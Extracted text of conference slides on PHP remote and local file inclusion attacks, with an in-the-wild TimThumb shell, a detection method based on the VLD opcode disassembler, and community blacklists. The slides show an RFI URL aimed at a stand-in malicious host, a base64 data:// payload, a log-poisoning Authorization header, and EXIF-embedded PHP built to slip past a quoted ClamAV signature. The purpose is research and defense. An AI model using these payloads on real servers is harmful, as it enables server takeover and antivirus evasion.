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Tal	  Be’ery	  -‐	  Speaker	  Bio	  



•  PHP	  background	  	  
•  PHP	  internals	  
•  RFI	  	  	  

–  Analysis	  of	  TimThumb	  shell	  “caught	  in	  the	  wild”	  
–  Advanced	  RFI	  using	  PHP	  streams	  and	  Wrappers	  

•  LFI 	  	  
–  InnovaSve	  method	  for	  ediSng	  file	  content	  to	  embed	  PHP	  
code	  and	  evade	  AV	  detecSon	  

–  Novel	  detecSon	  method	  
•  RFI	  &	  LFI	  in	  the	  wild 	  	  

–  New	  detecSon	  method	  using	  community	  based	  reputaSon	  
data	  

Agenda	  &	  Key	  Takeaways	  



•  PHP	  is	  all	  around	  
•  ExploiSng	  leads	  to	  full	  server	  takeover	  
•  Hackers	  are	  acSvely	  aXacking	  
– TimThumb	  exploit	  reported	  to	  compromise	  1.2	  
Million	  pages	  

•  And	  yet..	  	  
– OWASP	  Top	  10	  on	  2007	  (#3)	  

– Dropped	  on	  2010	  

RFI	  LFI	  –	  very	  relevant	  



•  The	  most	  popular	  server-‐side	  programming	  
language	  in	  the	  world!	  

PHP	  



•  Some	  of	  the	  most	  popular	  web	  apps	  are	  
powered	  by	  PHP	  

PHP	  



•  PHP’s	  Parser	  starts	  on	  HTML	  mode	  
•  Ignores	  everything	  unSl	  it	  hits	  a	  PHP's	  opening	  
tag	  -‐	  Typically	  “<?php”,	  but	  also	  “<?”	  

•  PHP	  Code	  is	  now	  parsed	  and	  compiled	  
•  When	  parser	  hits	  a	  closing	  tag	  (“?>”)	  it	  drops	  
back	  to	  HTML	  mode	  

•  Allows	  “mixed”	  coding	  
	  

PHP	  internals	  
Parser	  HTML	  mode	  



1.  Parsing	  	  
–  code	  is	  first	  converted	  into	  tokens	  (Lexing)	  
–  tokens	  are	  processed	  to	  meaningful	  expressions	  

(Parsing).	  
2.  Compiling	  
–  Derived	  expressions	  are	  converted	  into	  

OpCodes.	  
3.  ExecuSon	  
–  OpCodes	  are	  executed	  by	  the	  PHP	  engine	  

PHP	  internals	  
PHP	  execuSon	  steps	  



•  Vulcan	  Logic	  Disassembler	  
•  PHP	  extension	  
– hXp://pecl.php.net/package/vld	  
– Maintainers	  -‐	  Derick	  Rethans(lead)	  

•  Dumps	  the	  OpCodes	  of	  complied	  PHP	  scripts	  
•  Code	  is	  compiled	  but	  not	  executed	  	  

PHP	  internals	  	  
Disassmebling	  with	  VLD	  extension	  



PHP	  internals	  	  
VLD	  analysis	  demo	  

compile	  



•  The	  include()	  statement	  includes	  and	  
evaluates	  the	  specified	  file	  

•  Used	  to	  share	  code	  by	  reference	  
•  PHP	  Version	  >=4.3	  
– Remote	  files	  (hXp://)	  are	  valid	  include	  targets	  

•  The	  parser	  drops	  to	  HTML	  mode	  at	  the	  
beginning	  of	  the	  included	  file	  

PHP	  internals	  	  
Include()	  



•  Meet	  Eval()’s	  bulimic	  sister	  –	  include()	  
•  Not	  only	  does	  she	  evaluate	  arbitrary	  code	  	  
•  She	  eats	  everything	  before	  code	  
– HTML	  mode	  -‐	  Code	  can	  be	  prepended	  with	  
anything	  (including	  binary	  content)	  

•  She	  loves	  dining	  out	  
– Code	  can	  reside	  outside	  of	  the	  applicaSon	  

And	  you	  thought	  Eval()	  is	  evil..	  



•  Simple	  vuln	  app	  for	  warm	  up	  

•  Exploit	  –	  	  
– hXp://www.vulnerable.com/test.php?file=hXp://
www.malicious.com/shell.txt	  

	  

RFI	  



•  HII	  –	  hackers	  intelligence	  iniSaSve	  
–  IniSated	  in	  2010	  
– Allows	  to	  observe	  and	  tap	  into	  real	  security	  
incidents	  in	  real-‐=me	  

–  Includes	  honey	  pots	  consisSng	  of	  40	  Web	  
applicaSons	  

– Analyzes	  security	  logs	  

HII	  -‐	  In	  the	  wild	  observaSons	  



•  TimThumb	  -‐	  	  
– A	  Wordpress	  extension	  to	  produce	  thumbnailed	  pics	  
–  Vulnerable	  to	  RFI	  
–  1.2	  M	  exploited	  pages	  

RFI	  in	  the	  wild	  -‐	  Timthumb	  



•  Shell	  host	  -‐	  picasa.com.moveissantafe.com.	  	  
•  Evades	  TimThumb	  filter	  that	  allows	  inclusion	  
only	  from	  limited	  set	  of	  hosts.	  	  

•  implemented	  host	  check	  is	  mistakenly	  
allowing	  “picasa.com.moveissantafe.com”	  to	  
pass	  as	  “picasa.com”	  

Timthumb	  exploit	  analysis	  



•  Starts	  with	  a	  GIF	  file	  idenSfier,	  but	  then	  
switches	  to	  encoded	  PHP	  

•  Evades	  another	  TimThumb	  security	  filter	  used	  
to	  verify	  that	  the	  file	  is	  indeed	  a	  valid	  picture	  

	  

Timthumb	  exploit	  analysis	  



•  ExecuSon	  is	  controlled	  with	  addiSonal	  HTTP	  
parameters	  –	  LOL	  and	  OSC	  

	  
	  

Timthumb	  exploit	  analysis	  



•  Streams	  are	  a	  way	  of	  generalizing	  file,	  network,	  
data	  compression,	  and	  other	  operaSons	  

•  Examples	  
– Accessing	  HTTP(s)	  URLs	  -‐	  hXp://	  hXps://	  
– Accessing	  FTP(s)	  URLs	  -‐	  kp://	  kps://	  
– Data	  (	  RFC	  2397)	  -‐	  data://	  
– Accessing	  local	  filesystem	  -‐	  file://	  
– Accessing	  various	  I/O	  streams	  -‐	  php://	  
–  Compression	  Streams	  -‐	  zlib://	  ,	  bzip2://	  ,	  zip://	  	  

Advanced	  RFI	  with	  PHP	  Streams	  	  



•  Hacker’s	  objecSve	  
– Run	  the	  following	  code	  <?php	  phpinfo();	  ?>	  on	  RFI	  
vulnerable	  app	  

•  Degree	  of	  difficulty	  
– No	  shell	  hosSng	  is	  allowed	  

•  Means	  
–  	  bare	  hands	  

RFI	  PHP	  streams	  



•  base64(“<?php	  phpinfo()?>”)	  =	  
"PD9waHAgcGhwaW5mbygpPz4="	  	  

•  Wrap	  it	  up	  in	  data	  wrapper	  –	  
•  "data://text/
plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"	  

RFI	  PHP	  streams	  	  
	  AXack	  example	  



RFI	  PHP	  streams	  	  
	  AXack	  example	  

Mission	  Accomplished!	



•  To	  evade	  security	  filters	  
– Many	  filters	  look	  only	  for	  exploits	  with	  the	  
standard	  protocols	  

•  To	  hide	  aXack	  source	  
– Shell	  URL	  obfuscaSon	  (compressed,	  base64)	  

•  Compromise	  without	  a	  hosted	  shell	  
– Using	  data	  wrapper	  

PHP	  streams	  
why	  hackers	  use	  them?	  



•  LFI	  -‐	  malicious	  code	  must	  be	  stored	  locally	  
•  Extra	  work	  –	  why	  bother?	  
•  Because	  RFI	  is	  disabled	  by	  default	  
– PHP	  version	  5.2:	  allow_url_include	  =	  off	  
– ~	  90%	  PHP	  deployments	  versions	  >=5.2	  

LFI	  
	  why	  hackers	  use	  it?	  



•  Abuse	  exisSng	  file	  write	  funcSonality	  within	  
the	  server	  –	  log	  files.	  	  

•  Abuse	  file	  upload	  funcSonality	  to	  embed	  
malicious	  code	  within	  the	  uploaded	  file	  

•  Let’s	  demo	  it..	  

LFI	  	  
how	  to	  be	  local?	  



•  Hacker’s	  objecSve	  
– Run	  the	  following	  code	  <?php	  phpinfo();	  ?>	  

•  Degree	  of	  difficulty	  
– allow_url_include	  =	  off,	  code	  must	  be	  local	  

•  Means	  
– Proxy	  (or	  any	  other	  way	  to	  edit	  HTTP	  headers)	  

LFI	  	  
aXacking	  logs	  



AuthorizaSon:	  Basic	  base64(user:pass)	  =	  
AuthorizaSon:	  Basic	  base64(<?php	  phpinfo()?
>:123456)	  =	  AuthorizaSon:	  Basic	  
PD9waHAgcGhwaW5mbygpPz46MTIzNTY=)	  
	  

LFI	  
aXacking	  logs	  example	  



LFI	  
aXacking	  logs	  

Mission	  Accomplished!	



•  Hacker’s	  objecSve	  
– Upload	  a	  picture	  with	  known	  malicious	  code	  to	  
create	  LFI	  

•  Degree	  of	  difficulty	  
– Picture	  appearance	  must	  not	  change	  	  
– AV	  must	  not	  detect	  the	  code	  

•  Means	  
–  	  bare	  hands	  

LFI	  
abusing	  upload	  



•  <?php	  /*	  Fx29ID	  */	  echo("FeeL"."CoMz");	  
die("FeeL"."CoMz");	  /*	  Fx29ID	  */	  ?>	  

•  Prints	  FeeLCoMz	  twice	  
•  Found	  in	  the	  wild	  
•  Detected	  by	  AVs	  

LFI	  –	  abusing	  upload	  example	  
iniSal	  PHP	  code	  



•  Picture	  –	  jpg	  format	  
•  EdiSng	  EXIF	  properSes	  	  

LFI	  –	  abusing	  upload	  example	  
embedding	  code	  in	  picture	  phase	  I	  

BeXer…	  But	  not	  good	  enough!	



•  Let’s	  split	  the	  vector	  across	  two	  adjacent	  
properSes	  

	

LFI	  –	  abusing	  upload	  example	  
	  embedding	  code	  in	  picture	  phase	  II	

BeXer…	  But	  not	  good	  enough!	



•  Now	  it	  gets	  personal	  
•  ClamAV	  signature	  PHP.Hide-‐1:0:0:ffd8ffe0?
0104a464946{-‐4000}3c3f706870(0d|20|0a)	  

•  3c3f706870	  is	  hex	  for	  <?php.	  	  
•  Maybe	  changing	  the	  case	  will	  work…	

LFI	  –	  abusing	  upload	  example	  
	  embedding	  code	  in	  picture	  phase	  III	



•  Hacker’s	  objecSve	  
– Upload	  a	  picture	  with	  known	  malicious	  code	  to	  
create	  LFI	  

•  Degree	  of	  difficulty	  
– Picture	  appearance	  must	  not	  change	  	  
– AV	  must	  not	  detect	  the	  code	  

LFI	  –	  abusing	  upload	  example	  
Recap	  

Mission	  Accomplished!	



•  General	  purpose	  AVs	  search	  only	  for	  malicious	  
code.	  In	  the	  context	  of	  LFI	  exploits	  detecSon	  
we	  are	  OK	  with	  detecSng	  files	  containing	  any	  
PHP	  code.	  	  

•  General	  purpose	  AVs	  are	  built	  to	  find	  
compiled	  malicious	  code.	  Finding	  malicious	  
source	  code	  requires	  different	  set	  of	  features	  
and	  awareness	  to	  text	  related	  evasions.	  

LFI	  –	  abusing	  upload	  
Why	  AV	  fails?	  



•  AnS	  Virus	  -‐	  We	  just	  saw	  they	  fail	  at	  this	  task	  
•  Degenerated	  PHP	  parser	  -‐	  Looking	  only	  for	  
PHP	  begin/end	  	  tokens.	  
–  looking	  for	  short	  tags	  (<\?.*\?>)	  -‐	  many	  false	  
posiSves	  

•  Compile	  the	  uploaded	  file	  and	  check	  if	  it	  
compiles	  
– Even	  benign	  documents	  are	  (trivially)	  compiled.	  

•  Run	  the	  file	  and	  see	  if	  it	  executes	  –	  hmm…	  J	  

LFI	  	  
Abusive	  file	  upload	  misdetecSon	  	



•  VLD	  it!	  
– Compile	  the	  file	  with	  VLD	  
–  Inspect	  the	  OpCodes	  
– No	  execuSon	  

•  Non-‐PHP	  code	  bearing	  files	  will	  yield	  only	  2	  
OpCodes	  
–  	  ECHO	  –	  to	  print	  the	  non	  PHP	  code	  
–  	  RETURN	  –	  	  to	  return	  aker	  the	  “execuSon”	  

LFI	  	  
	  Abusive	  upload	  file	  detecSon	  	



LFI	  	  
	  Abusive	  file	  detecSon	  with	  VLD	  demo	  	



•  Very	  relevant	  	  
–  20%	  of	  all	  web	  applicaSon	  aXacks	  

•  LFI	  is	  more	  prevalent	  than	  RFI	  –	  
–  as	  90%	  of	  PHP	  deployments	  are	  of	  versions	  that	  do	  
not	  allow	  RFI	  by	  default.	  

LFI/RFI	  in	  the	  wild	  



•  Highly	  automated	  
•  Many	  consistent	  aXackers	  

RFI	  in	  the	  wild	  
sources	  analysis	  



•  Many	  sources	  aXack	  more	  than	  one	  target	  	  
	  

RFI	  in	  the	  wild	  
sources	  analysis	  



Obtaining	  shell	  hosSng	  URLs:	  
1.  Analyze	  Honey	  pot’s	  RFI	  Security	  Log	  entry	  

hXp://www.vulnerable.com/test.php?
file=hXp://www.malicious.com/shell.txt	  

2.  Download	  the	  shell	  -‐	  	  wget	  hXp://
www.malicious.com/shell.txt	  

3.  Verify	  it’s	  a	  script	  –	  to	  refrain	  from	  false	  
posiSves	  

RFI	  in	  the	  wild	  	  
Shell	  hosSng	  URLs	  analysis	  



•  Some	  URLs	  are	  being	  used	  consistently	  

RFI	  in	  the	  wild	  	  
Shell	  hosSng	  URLs	  analysis	  



•  Many	  shell	  URLs	  are	  used	  against	  more	  than	  
one	  target	  

RFI	  in	  the	  wild	  	  
Shell	  hosSng	  URLs	  analysis	  



•  AXack	  characterisScs	  (source,	  Shell	  URL)	  
– Non	  transient	  –	  stable	  for	  days	  
– General	  -‐	  Not	  confined	  to	  a	  single	  honey	  pot	  

•  By	  forming	  a	  community	  that	  shares	  RFI	  data	  
we	  can	  create	  black	  lists	  	  
– AXack	  sources	  
– aXackers’	  shell	  hosSng	  URLs	  

•  Achieve	  beXer	  protecSon!	  

A	  new	  approach	  
Community	  based	  RFI	  black	  lists	  



•  Please	  complete	  the	  Speaker	  Feedback	  
Surveys	  

Surveys	  



QuesSons?	  


